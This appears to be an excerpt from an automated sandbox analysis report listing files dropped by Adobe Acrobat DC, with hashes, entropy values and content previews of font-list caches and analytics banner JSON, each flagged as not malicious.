SHA-512:	47543013EBE969563FADB77117CB323BD9060E4658D40B9A4C76EF5FC44F76E00A42B79D77E4D28F3E42C45CD0C572686AE29C90515D0E71B49F56F433FD0D1C
Malicious:	false
Preview:	p...... .........K...c..(....................................................... ..........W....5P..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5060

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5060

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.369249731159723
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0sNGnZiQ0Y32oAvJM3g98kUwPeUkwRe9:YvXKX06GcsNGMbLUkee9
MD5:	17FF4AF53F6886F5B3C3D1B7F748189B
SHA1:	A4153E4E1B577E4300396F22F2AD492C47FE8228
SHA-256:	D530A707D9BC56B7CF817704819CA15523DAC4A4D05114D1ACE0191B05CEF328
SHA-512:	21ED938908E50D6AB954562627868E42307A289BE4FD5835F7D9261E07E4B7D797420690695840536962D33173C34DD6460CA6835612345ED63BB03D9C27BB2B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d699ec27-d349-46c2-a757-5be784193f7c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758286211,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.321868201066781
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0sNGnZiQ0Y32oAvJfBoTfXpnrPeUkwRe9:YvXKX06GcsNGWTfXcUkee9
MD5:	3BF2D517412A735A0786823651F41AF9
SHA1:	8EC492E03E93BF9C464F6A60B748A770CDEDAEF0
SHA-256:	4BBF30B6BE6C8B3A5447817404DE7736503C94C4895C0800969EC85EA74EFEDA
SHA-512:	DB9E2FD1CD3BAC8B3386651CE44F835A1E7F127B5203007D146803074708C787E1CB6E57F6E1CC0C9886EB241837FD22A50F14296AE28991B82BC3B860390B1B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d699ec27-d349-46c2-a757-5be784193f7c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758286211,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.300007115812049
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0sNGnZiQ0Y32oAvJfBD2G6UpnrPeUkwRe9:YvXKX06GcsNGR22cUkee9
MD5:	C95987339BCE68783BACB6DD996A2246
SHA1:	9F8160250E24FC2239863E9B798F03DF6DDE5C8D
SHA-256:	27058B583F79C2D0C4795E8C8E0BEC86A7347A879BDB47C448EA2D6646B0AE04
SHA-512:	AE5D123780E394AA598609BD2456B9C7FB084E330565F06857C2FD91522B01150EE653798F59C59CD0DB8642E16D00032F4F879C1B5C0345AD6770251042EDA2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d699ec27-d349-46c2-a757-5be784193f7c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758286211,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.349478845239187
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0sNGnZiQ0Y32oAvJfPmwrPeUkwRe9:YvXKX06GcsNGH56Ukee9
MD5:	ACAF1CF5CB0920E75CC0A70EA84F2F6B
SHA1:	5FADA0C3B3F833E924F625B3DC1CD7A01CD1E248
SHA-256:	72A64227147F0A005D9D9161D4843F478BD8900536DFCEBCB2091E97FCF69300
SHA-512:	D0177F74FDA7C13492217E5045EAAD789B1082C1E2133CEA4A1D275711174E00D6672D4C70541DC18568405DB0F25F232FD4E904C929057B1CDFA607675656B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d699ec27-d349-46c2-a757-5be784193f7c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758286211,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.691664407476354
Encrypted:	false
SSDEEP:	24:Yv6XJnpLgE9cQx8LennAvzBvkn0RCmK8czOCCSlSn:YvIhgy6SAFv5Ah8cv/8n
MD5:	E656E4CBF8B41E0C0C4B42098E8DFD6B
SHA1:	63822340A4C9CE94BDBFDC216C61D00579452309
SHA-256:	0DD2545A0EE8382D1C74AAEB0B4B3B37275F10EF3174057313323D4523893724
SHA-512:	7A36840A5A5BD2FCD6E93AA9B1300FD23EC89F882960B05681E17C96ED59EA596BF4F9A3AB975B3B3EB987726033AB4D15E572A5995679DBFF9ED3703FCA49BB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d699ec27-d349-46c2-a757-5be784193f7c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758286211,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2985825093165735
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0sNGnZiQ0Y32oAvJf8dPeUkwRe9:YvXKX06GcsNGU8Ukee9
MD5:	2ACDAD15EC5D3AE73E181CC949B1A495
SHA1:	F8CAA119F6D2D88B01F99B60CAFAE460BE7B58A4
SHA-256:	0D9607D96909C6DC47DF0D3B87AC52C4DDAB4DBFD57BFD67B493271112406D1D
SHA-512:	096B86A57E80214D0B5392E59C735C163E246D977877A9BA3A80BEA34A0BCF26F1CFB083D6DE017D70B7AEEC6B16C3A6C1ED31E5D10C4B9A265A11B378D76B37
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d699ec27-d349-46c2-a757-5be784193f7c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758286211,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.300940327338397
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0sNGnZiQ0Y32oAvJfQ1rPeUkwRe9:YvXKX06GcsNGY16Ukee9
MD5:	080CEE69D81D9B41FCFEB6ACF902277D
SHA1:	F35CCBE297443DEEDC8C8E134A8CE1DA8EA7F447
SHA-256:	E5E19300A7DB2E4F01A2679CCCE20CCBC22BCC36CA0EA80D3DB9DAD742CF50BA
SHA-512:	2FFF2F0105E0F5D5CC687F582CEDFBA321116A619B740FDF2FEC2E440924204062F97E49632E49585F782F693FEF44ADBAD02E4648776ED14E538DE2DB79CB71
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d699ec27-d349-46c2-a757-5be784193f7c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758286211,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.309521495580914
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0sNGnZiQ0Y32oAvJfFldPeUkwRe9:YvXKX06GcsNGz8Ukee9
MD5:	AFC2C5ED69D7D0E786DD7B8C298014A6
SHA1:	EF4676F4CEB44C9DDCB54F34BBD501EAA27C87B9
SHA-256:	009EFCFA65E65A8619C27A69209920D35B2DFCA64E55B225CA571087ED8A9790
SHA-512:	59726982B1C90012A2A1256984EC43CDFE0E061039189CBF23F97DC6140E4096E184D18CB87AE3C47815EA29FA63DDFCE753CFBA83E8F01647B4DE6EC01BE1B1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d699ec27-d349-46c2-a757-5be784193f7c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758286211,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.326020953187142
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0sNGnZiQ0Y32oAvJfzdPeUkwRe9:YvXKX06GcsNGb8Ukee9
MD5:	67CF2E654D7B23A9924C3503273DA0D6
SHA1:	798D6221F132289A546555681ECD6E39D6BEE271
SHA-256:	F9F36CB9EE756E9EF976FA1AFBA63CF1CDCE213EB52A06F29919933C1B1785F9
SHA-512:	70CB56DBB72BEAF3CC3DB05A64DB31027D50C7D8425BF36923AD8D6790423332F9EE45C08F9CFC89D8D96190AE3A03A9E767148DD638432E415FE98682515E22
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d699ec27-d349-46c2-a757-5be784193f7c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758286211,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.306509092397373
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0sNGnZiQ0Y32oAvJfYdPeUkwRe9:YvXKX06GcsNGg8Ukee9
MD5:	7B12040C97CB188884CD99E6B2787CD0
SHA1:	E5E84A34D4D672B6A585369153D8E35B52B49836
SHA-256:	610E47795EA022E4D83BCCD4CE8A4AF7943A7F09EC972752ECE99CD7501A70F1
SHA-512:	987B057EA34B62829976C91CDEFE324F66097118276E3571BB5BBFEFC0D72579EE71713F1A28A16B69CC5A1EE44EA7694F9EB6D6A2749222A3E200051FB7E205
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d699ec27-d349-46c2-a757-5be784193f7c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758286211,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.292973052845025
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0sNGnZiQ0Y32oAvJf+dPeUkwRe9:YvXKX06GcsNG28Ukee9
MD5:	83D59E28D1E02E40BD775932BDB6E497
SHA1:	012115C545B3FCDFE2261A223B29EBDF2BEDFB04
SHA-256:	70A83B4971E636C1787C455C92CD3CFD9A0310174E4F525B0CAC5765932881BF
SHA-512:	6AFD4F08DB92D30E0AA26B57675B321B99896E6AAAE608E4719442607073729B591102BC484212F24711A52A17202506F7394C3AD3795304A1473330EEB88744
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d699ec27-d349-46c2-a757-5be784193f7c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758286211,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2900114540410135
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0sNGnZiQ0Y32oAvJfbPtdPeUkwRe9:YvXKX06GcsNGDV8Ukee9
MD5:	4E3511F1F2A60A92441C2EEE71BFB1BA
SHA1:	B06A5DF7273C7DFB1C5E42972FA65EA73B8262D9
SHA-256:	6DB8A16D2AEC234B8129811888FF78F95AEF9C39E122E857D6F6317D9019EF6F
SHA-512:	D6BF1ADC81F2F6BDDA206A92FE180F0D7A9EDA76F742BA5B79E89B6191C5C0FD3FC5D11C6F70919757EF029F88DEC273D1850D945139737DAB64BC655CF9FC02
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d699ec27-d349-46c2-a757-5be784193f7c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758286211,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.293168489302622
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0sNGnZiQ0Y32oAvJf21rPeUkwRe9:YvXKX06GcsNG+16Ukee9
MD5:	C02F21FE6E402CF908BBB63DD0B953BC
SHA1:	D752966B4D52D647AAD0A6A3F3337AE084952CAA
SHA-256:	3F3138D3133DFFD7BED14EA008EA33EFF5463330A31E22B5E4D23A38B14B77BE
SHA-512:	FBF9A35463D6C56C1006838D7985D8FE389844C6D6A54E524E4CB027454517126D737F1FD2CBF7A0DF8DD95FBE40A1D2C0D844DF404416B0F499162FE9B76BC6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d699ec27-d349-46c2-a757-5be784193f7c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758286211,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.666946697497123
Encrypted:	false
SSDEEP:	24:Yv6XJfamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSlSn:YvaBgkDMUJUAh8cvM8n
MD5:	AB09AE6750561FCDB9FE5AB7C3828EA1
SHA1:	98B64E98CE2DDED3CEE9A5A2C49F3F01E6A11AF0
SHA-256:	C9C79DAC5B9C3C1B2E8EE01876E48F31312BA2ED6829D979AFE01CF3394EB57A
SHA-512:	8BE10CF1923FAD58A53E22CB63BE6607D47C202D31E3440B7FC7B72A9883DE976AA8ED32511E9EF33A6E2C36F4251A78928E0A068C2FDEBC399BCCD3ED6F444D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d699ec27-d349-46c2-a757-5be784193f7c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758286211,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for 